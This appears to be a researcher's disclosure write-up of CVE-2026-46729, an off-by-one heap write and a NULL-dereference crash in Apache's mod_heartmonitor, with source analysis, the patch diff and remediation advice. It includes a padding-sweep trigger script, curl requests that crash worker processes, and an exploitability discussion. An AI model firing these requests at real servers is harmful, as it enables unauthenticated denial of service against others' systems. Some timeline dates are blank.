One Byte Too Far: Heap Buffer Overflow in Apache HTTP Server's mod_heartmonitor
This article examines an unauthenticated heap out-of-bounds write in Apache HTTP Server's mod_heartmonitor, tracked as CVE-2026-46729.
Any client that can send an HTTP POST request to a location configured with SetHandler heartbeat can trigger a one-byte out-of-bounds NUL write past a 1,000-byte heap buffer. The handler allocates MAX_MSG_LEN (1,000) bytes for the request body, reads up to MAX_MSG_LEN bytes from the input brigade, and unconditionally writes buf[len] = '\0'. When the body is 1,000 bytes or longer, len is 1,000 and the NUL byte lands at buf[1000], one byte past the allocation.
Summary of findings:
- The line was added in July 2009 by commit
84c7d1c676fand shipped in every 2.4 release from 2.4.0 (February 2012) through 2.4.68, as well as trunk. mod_heartmonitoraccepts heartbeats over multicast UDP and over HTTP POST. The UDP receiver allocatedchar buf[MAX_MSG_LEN + 1]; the HTTP handler allocatedMAX_MSG_LENand used the samebuf[len] = '\0'termination.- On standard glibc builds, the overflowed byte lands on the next chunk's
prev_sizefield, which glibc overwrites duringfree()before reading it. Without non-default allocators or specific heap layout, the write does not produce a crash or code execution. - The same handler also passed
apr_table_get(tbl, "busy")and"ready"directly toatoi()without a NULL check, so a POST omitting either parameter crashes the worker child withSIGSEGV.
Background: Load Balancing and Clustered Heartbeats
In high-availability enterprise architectures, frontend HTTP reverse proxies must dynamically monitor the operational health and active request volume of backend cluster nodes. Within the Apache HTTP Server ecosystem, this functionality is provided by mod_proxy_balancer in conjunction with mod_heartmonitor and mod_lbmethod_heartbeat.
Backend nodes run mod_heartbeat, which periodically broadcasts status updates containing server load metrics (such as busy worker slots and idle capacity). mod_heartmonitor runs on proxy directors to collect these heartbeat updates and populate a shared memory slotmem cache (slotmem_shm).
The module supports two ingestion transports:
- Multicast UDP: Configured via the
HeartbeatAddressdirective. A dedicated background listener thread receives status datagrams broadcast across a local cluster network. - HTTP POST Handler: Enabled by mapping
SetHandler heartbeatwithin a<Location>block. This allows remote worker nodes to push heartbeat updates over standard HTTP:
<Location "/hb">
SetHandler heartbeat
</Location>
While mod_heartmonitor is not loaded in default out-of-the-box configurations, it is standard infrastructure in clustered reverse-proxy environments (including enterprise distributions such as Red Hat JBoss EWS and Apache mod_cluster deployments). Crucially, the HTTP handler implements no transport authentication or session handshake: any client reaching the endpoint is processed immediately as an incoming cluster node update.
The Off-by-One in hm_handler
Heartbeat messages are constrained by a global protocol definition in modules/cluster/mod_heartmonitor.c:
#define MAX_MSG_LEN (1000)
The HTTP request handler, hm_handler (line 772 in Apache 2.4.68), is registered at APR_HOOK_FIRST priority. When an HTTP POST is received, it executes the following logic:
static int hm_handler(request_rec *r)
{
apr_size_t len = MAX_MSG_LEN;
apr_status_t status;
apr_bucket_brigade *input_brigade;
char *buf;
...
if (r->method_number != M_POST) {
return HTTP_METHOD_NOT_ALLOWED;
}
len = MAX_MSG_LEN;
ctx = ap_get_module_config(r->server->module_config,
&heartmonitor_module);
buf = apr_pcalloc(r->pool, MAX_MSG_LEN);
input_brigade = apr_brigade_create(r->connection->pool,
r->connection->bucket_alloc);
status = ap_get_brigade(r->input_filters, input_brigade,
AP_MODE_READBYTES, APR_BLOCK_READ,
MAX_MSG_LEN);
if (status != APR_SUCCESS) {
return ap_map_http_request_error(status, HTTP_BAD_REQUEST);
}
apr_brigade_flatten(input_brigade, buf, &len);
/* we can't use hm_processmsg because it uses hm_get_server() */
buf[len] = '\0';
tbl = apr_table_make(r->pool, 10);
qs_to_table(buf, tbl, r->pool);
...
The flaw lies in the relationship between apr_pcalloc, apr_brigade_flatten, and the manual null terminator:
apr_pcalloc(r->pool, 1000)allocates an exact 1,000-byte buffer at the frontier of the request pool.ap_get_brigadepulls up toMAX_MSG_LENbytes from the request input filter chain intoinput_brigade.apr_brigade_flatten(input_brigade, buf, &len)copies the brigade contents intobuf. In APR's brigade implementation (apr_brigade.c:243),*lenis treated as the buffer capacity. If the incoming request body has 1,000 bytes or more,apr_brigade_flattencopies exactly 1,000 bytes and setslen = 1000.- The handler then executes
buf[len] = '\0'. Withlen == 1000and an allocation of 1,000 bytes (indices0..999),buf[1000]writes a single NUL byte outside the allocated boundary.
Examining the sibling UDP packet processing function (hm_recv) reveals how this omission occurred:
static void * APR_THREAD_FUNC hm_recv(apr_thread_t *thd, void *rec)
{
char buf[MAX_MSG_LEN + 1]; /* UDP receiver: explicitly reserves +1 byte */
apr_size_t len = MAX_MSG_LEN;
...
apr_socket_recvfrom(..., buf, &len);
buf[len] = '\0';
...
In the UDP listener, the buffer had always been declared with MAX_MSG_LEN + 1. When the HTTP POST handler was added in commit 84c7d1c676f (July 6, 2009) to allow HTTP-based heartbeat reporting, the author copied the buf[len] = '\0' idiom but allocated only MAX_MSG_LEN bytes via apr_pcalloc. This single missing byte persisted unnoticed through every major and minor release of the Apache 2.4 branch.
+-------------------------------------------------------------+---+
| buf: apr_pcalloc(r->pool, 1000) |???|
| [0] [999] | |
+-------------------------------------------------------------+---+
|
buf[len] = '\0' (len == 1000) ------------------------------+
(1-byte Out-of-Bounds NUL Write)
Verification: Placing the Buffer at the Pool Node Boundary
To verify the write with sanitizers, I built Apache HTTP Server 2.4.68 from source using Clang 18 with AddressSanitizer (ASan), UndefinedBehaviorSanitizer (UBSan), and APR pool debug instrumentation (-DAPR_POOL_DEBUG=1).
In Apache, apr_pcalloc(r->pool, size) does not call malloc() directly for every allocation. APR manages memory in pools backed by an internal allocator that requests 8,192-byte blocks (apr_memnode_t) from the OS and serves pool allocations by advancing a bump pointer.
Because buf is carved from the active apr_memnode_t of r->pool, earlier allocations on r->pool during request parsing (such as incoming HTTP headers copied via apr_pstrdup) advance the bump pointer ahead of buf.
Sending a padding header (X-Pad: AAAA...) of varying lengths shifts the start of buf. When the remaining space in the active 8KB node is exactly 1,000 bytes, buf sits at the end of the node and buf[1000] writes one byte past the 8,192-byte OS allocation.
A minimal trigger script demonstrates this placement:
import socket
target = ("127.0.0.1", 35051)
# Sweep padding from 0 to 8168 in 8-byte increments
for pad_len in range(0, 8192, 8):
s = socket.create_connection(target)
body = b"v=1&busy=1&ready=1&" + b"A" * 1000
req = (
b"POST /hb HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"X-Pad: " + (b"A" * pad_len) + b"\r\n"
b"\r\n"
+ body
)
s.sendall(req)
resp = s.recv(1024)
s.close()
When the padding aligns the allocation with the node boundary, AddressSanitizer immediately catches the out-of-bounds write:
=================================================================
==3802065==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5250001e4900
WRITE of size 1 at 0x5250001e4900 thread T32
#0 0x7fb142e3d37e in hm_handler modules/cluster/mod_heartmonitor.c:772
#1 0x57a5a4 in ap_run_handler server/config.c:169
#2 0x57d27c in ap_invoke_handler server/config.c:443
#3 0x61b1c0 in ap_process_async_request modules/http/http_request.c:452
#4 0x606bd9 in ap_process_http_async_connection modules/http/http_core.c:155
#5 0x6076cc in ap_process_http_connection modules/http/http_core.c:246
#6 0x5c32b4 in ap_run_process_connection server/connection.c:42
#7 0x6701e1 in process_socket server/mpm/event/event.c:1098
#8 0x67f4a6 in worker_thread server/mpm/event/event.c:2252
0x5250001e4900 is located 0 bytes after 8192-byte region [0x5250001e2900,0x5250001e4900)
allocated by thread T28 here:
#0 0x7fb1490fc667 in malloc (/lib64/libasan.so.8+0xfc667)
#1 0x7fb148e4de8f in allocator_alloc (libapr-1.so.0)
#2 0x7fb148b5eea4 in apr_bucket_alloc buckets/apr_buckets_alloc.c:198
#3 0x7fb148b68450 in socket_bucket_read buckets/apr_buckets_socket.c:34
This confirms that the write is an unauthenticated, remotely reachable out-of-bounds heap write occurring at an attacker-steerable boundary offset.
Exploitation Assessment
Whether this one-byte write can be turned into anything beyond a crash depends on the allocator and heap layout.
1. Constraints on the Primitive
- Fixed Size:
apr_brigade_flattenenforces the buffer capacity parameter (apr_brigade.c:243). The copy stops at 1,000 bytes, so the overflow is always a single byte regardless of payload length. - Fixed Value: The written value is always
0x00(NUL). - Attacker Control: Timing and, via header padding, alignment relative to the 8KB pool node boundary.
2. Behavior on glibc ptmalloc
On default Linux distributions (RHEL, Debian, Ubuntu), Apache uses glibc's ptmalloc. An 8,192-byte apr_memnode_t is followed by the next chunk's header:
+---------------------------------------+
| Chunk A (8192-byte APR memnode) |
| ... data ... |
+---------------------------------------+ <-- Node boundary
| Chunk B: prev_size (8 bytes) | <-- buf[1000] lands on byte 0
| Chunk B: size | flags (8 bytes) |
| Chunk B: user data ... |
+---------------------------------------+
When buf[1000] crosses the chunk boundary, it zeroes the least significant byte of Chunk B's prev_size field. Corrupting prev_size is normally used to confuse backward consolidation during free(), but two details prevent that here:
- Overwrite on Preceding Free: glibc only reads
prev_sizewhen the preceding chunk is free (PREV_INUSE == 0on Chunk B). When Chunk A is freed viafree(ChunkA), glibc's_int_free()writesChunkB->prev_size = ChunkA->sizebefore checking for backward consolidation, overwriting the zeroed byte before it is read. - APR Node Caching: Apache's allocator keeps freed nodes on an internal freelist (up to
MaxMemFree, default 2MB) rather than returning them to glibc viafree(), so glibc-level consolidation rarely runs anyway.
To check this empirically, I ran a sweep of 2,000 requests across padding lengths against an uninstrumented Apache 2.4.68 build on Linux x86_64. Even with MALLOC_CHECK_=3 and MALLOC_PERTURB_=0xaa set, all 2,000 requests returned 200 OK with no crash or allocator warning.
3. Alternative Allocators (jemalloc, tcmalloc)
Deployments running under jemalloc or tcmalloc (for example via LD_PRELOAD) do not place inline chunk headers between same-sized allocations; metadata lives out-of-band and same-class runs are contiguous.
Under jemalloc, crossing the node boundary writes 0x00 into byte 0 of the adjacent object. If that object starts with a pointer (an APR freelist next pointer, a vtable pointer, or a callback context), clearing its low byte shifts the address by up to 255 bytes. Hitting a useful target still requires cross-thread heap grooming; a 2,000-request sweep under jemalloc did not crash either.
4. Denial of Service Conditions
The write does cause a crash in two cases:
- Debug / Sanitizer Builds: Builds with
-DAPR_POOL_DEBUGor AddressSanitizer abort as soon as a request hits the boundary. - Thread Arena Segment Edges: In the
eventMPM, worker threads allocate frommmap()-backed heap segments. If an allocator node lands at the high end of a segment followed by an unmapped page, writingbuf[1000]faults withSIGSEGV.
5. CVSS Evaluation
I scored the issue as CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5 High): unauthenticated and network-reachable, with High Availability impact because a worker segfault terminates the child process and drops its active connections, and None for Confidentiality and Integrity since code execution was not demonstrated.
A Second Bug in the Same Function: Crash via atoi(NULL)
Immediately after flattening the body, hm_handler parses the query string into an APR table and reads the load metrics:
tbl = apr_table_make(r->pool, 10);
qs_to_table(buf, tbl, r->pool);
apr_sockaddr_ip_get(&ip, r->connection->client_addr);
hmserver.ip = ip;
hmserver.port = 80;
if (apr_table_get(tbl, "port") != NULL)
hmserver.port = atoi(apr_table_get(tbl, "port"));
hmserver.busy = atoi(apr_table_get(tbl, "busy"));
hmserver.ready = atoi(apr_table_get(tbl, "ready"));
hmserver.seen = apr_time_now();
hm_update_stat(ctx, &hmserver, r->pool);
Notice the defensive handling of port: it explicitly verifies that apr_table_get(tbl, "port") != NULL before calling atoi(). However, the subsequent two lines do not:
hmserver.busy = atoi(apr_table_get(tbl, "busy"));
hmserver.ready = atoi(apr_table_get(tbl, "ready"));
If an HTTP POST request supplies a body that does not contain the busy or ready parameters (such as POST /hb with v=1&x=1 or an empty body), apr_table_get() returns NULL. Passing a null pointer to the standard C library's atoi() function causes an immediate dereference of address 0x0, crashing the process with SIGSEGV.
I tested this directly against the vanilla Apache 2.4.68 server:
# Normal valid heartbeat returns 200 OK
curl -X POST http://127.0.0.1:45678/hb -d "v=1&busy=1&ready=1"
# Response: HTTP/1.1 200 OK
# Malformed heartbeat omitting busy/ready
curl -X POST http://127.0.0.1:45678/hb -d "v=1&x=1"
# Response: curl: (52) Empty reply from server
The error log records the segfault:
[Sat Oct 03 10:13:35.395829 2026] [core:notice] [pid 2378376:tid 2378376] AH00051: child pid 2378378 exit signal Segmentation fault (11), possible coredump in /tmp/httpd-vanilla-install
Under the standard event MPM, killing a worker child process drops every active keep-alive connection being serviced by that process. Because the request requires no authentication and can be sent repeatedly, any remote client can continuously crash Apache worker processes with single-packet HTTP POST requests.
This NULL-dereference flaw had been reported to the Apache security team in July 2026 and was also tracked under CVE-2026-46729.
Upstream Remediation & Diff Analysis
, the Apache HTTP Server project committed the definitive fix to the development trunk (revision r1938653, commit 1f5b504654), followed immediately by the 2.4.x backport (revision r1938654, commit 7b12a7936e).
The upstream commit comprehensively resolves both the off-by-one heap overflow and the parameter parsing crashes:
--- a/modules/cluster/mod_heartmonitor.c
+++ b/modules/cluster/mod_heartmonitor.c
@@ -756,11 +759,27 @@ static int hm_handler(request_rec *r)
return HTTP_METHOD_NOT_ALLOWED;
}
- len = MAX_MSG_LEN;
ctx = ap_get_module_config(r->server->module_config,
&heartmonitor_module);
- buf = apr_pcalloc(r->pool, MAX_MSG_LEN);
+ /* Check if module is active */
+ if (!ctx || !ctx->active) {
+ ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10561)
+ "Heartbeat monitoring not active");
+ return HTTP_SERVICE_UNAVAILABLE;
+ }
+
+ /* Validate Content-Length before reading */
+ if (r->remaining > MAX_MSG_LEN) {
+ ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10562)
+ "Heartbeat message too large: %" APR_OFF_T_FMT " bytes (max %d)",
+ r->remaining, MAX_MSG_LEN);
+ return HTTP_REQUEST_ENTITY_TOO_LARGE;
+ }
+
+ len = MAX_MSG_LEN;
+ /* Allocate buffer with space for null terminator */
+ buf = apr_pcalloc(r->pool, MAX_MSG_LEN + 1);
input_brigade = apr_brigade_create(r->connection->pool, r->connection->bucket_alloc);
status = ap_get_brigade(r->input_filters, input_brigade, AP_MODE_READBYTES, APR_BLOCK_READ, MAX_MSG_LEN);
if (status != APR_SUCCESS) {
@@ -772,13 +791,49 @@ static int hm_handler(request_rec *r)
buf[len] = '\0';
tbl = apr_table_make(r->pool, 10);
qs_to_table(buf, tbl, r->pool);
+
+ /* Validate required parameters - prevent NULL pointer dereference */
+ if (apr_table_get(tbl, "busy") == NULL ||
+ apr_table_get(tbl, "ready") == NULL) {
+ ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10563)
+ "Missing required parameters: busy and/or ready");
+ return HTTP_BAD_REQUEST;
+ }
+
apr_sockaddr_ip_get(&ip, r->connection->client_addr);
hmserver.ip = ip;
hmserver.port = 80;
- if (apr_table_get(tbl, "port") != NULL)
- hmserver.port = atoi(apr_table_get(tbl, "port"));
- hmserver.busy = atoi(apr_table_get(tbl, "busy"));
- hmserver.ready = atoi(apr_table_get(tbl, "ready"));
+
+ /* Validate and parse port with proper bounds checking */
+ val = apr_table_get(tbl, "port");
+ if (val != NULL) {
+ port_long = strtol(val, &endptr, 10);
+ if (*endptr == '\0' && port_long > 0 && port_long <= 65535) {
+ hmserver.port = (unsigned int)port_long;
+ }
+ else {
+ ap_log_rerror(APLOG_MARK, APLOG_WARNING, 0, r, APLOGNO(10564)
+ "Invalid port value: %s, using default 80", val);
+ }
+ }
+
+ /* Parse busy and ready with validation */
+ val = apr_table_get(tbl, "busy");
+ hmserver.busy = (int)strtol(val, &endptr, 10);
+ if (*endptr != '\0') {
+ ap_log_rerror(APLOG_MARK, APLOG_WARNING, 0, r, APLOGNO(10565)
+ "Invalid busy value: %s, using 0", val);
+ hmserver.busy = 0;
+ }
+
+ val = apr_table_get(tbl, "ready");
+ hmserver.ready = (int)strtol(val, &endptr, 10);
+ if (*endptr != '\0') {
+ ap_log_rerror(APLOG_MARK, APLOG_WARNING, 0, r, APLOGNO(10566)
+ "Invalid ready value: %s, using 0", val);
+ hmserver.ready = 0;
+ }
+
hmserver.seen = apr_time_now();
hm_update_stat(ctx, &hmserver, r->pool);
The patch introduces five distinct security enhancements:
- Allocation Extension:
apr_pcalloc(r->pool, MAX_MSG_LEN + 1)reserves the necessary 1,001st byte for the null terminator, eliminating the out-of-bounds write entirely. - Pre-flight Size Enforcement: Inspects
r->remainingbefore reading bucket brigades. If the declared body exceedsMAX_MSG_LEN, the server returns413 Payload Too Large. - State Validation: Rejects requests with
503 Service Unavailableif the heartbeat monitor module is inactive (!ctx || !ctx->active). - NULL-Pointer Defense: Validates the presence of
busyandreadyparameters before parsing, returning400 Bad Requeston omissions. - Robust Integer Parsing: Replaces unsafe
atoi()calls withstrtol(), verifying port ranges (1..65535) and trapping trailing garbage characters.
Reporting and Coordinated Disclosure
The vulnerability was reported to the Apache Security Team alongside proof-of-concept trigger material and AddressSanitizer verification logs. The issue was tracked under CVE-2026-46729, and comprehensive fixes were committed upstream to trunk and the 2.4.x branch. Following review of concurrent research on the module, the Apache HTTP Server PMC recognized the independent discovery and credited me as an additional finder.
Affected Versions and Remediation
The out-of-bounds write is present in all Apache HTTP Server versions from 2.4.0 through 2.4.68, as well as development trunk prior to commit 1f5b504654. The legacy Apache 2.2 series did not contain mod_heartmonitor.
Organizations operating Apache reverse proxies should take the following measures:
- Upgrade: Apply Apache HTTP Server 2.4.69 or backport revision
r1938654. - Configuration Audit: Review configuration files for instances of
SetHandler heartbeat. If heartbeat monitoring over HTTP is not strictly necessary, remove the handler directive. - Network ACLs: If
mod_heartmonitorHTTP ingestion is required, ensure that the corresponding<Location>block is restricted to trusted internal cluster networks usingRequire ip <trusted-cidr>.
Timeline
| Date | Event |
|---|---|
Commit 84c7d1c676f introduces HTTP heartbeat handler with missing +1 byte buffer allocation | |
| Apache 2.4.0 released containing the vulnerable code | |
Earlier report filed regarding NULL-pointer dereference in hm_handler (CVE-2026-46729) | |
| Vulnerability independently identified during comprehensive security audit of Apache 2.4.68 | |
Reported to Apache Security; upstream fixes committed (r1938653 / r1938654); credited under CVE-2026-46729 | |
| Public write-up published |
Reporter: Keita Sode (SYZD Research). Thank you to the Apache HTTP Server Security Team for their prompt response and coordination. All empirical testing was conducted against locally isolated, private test environments.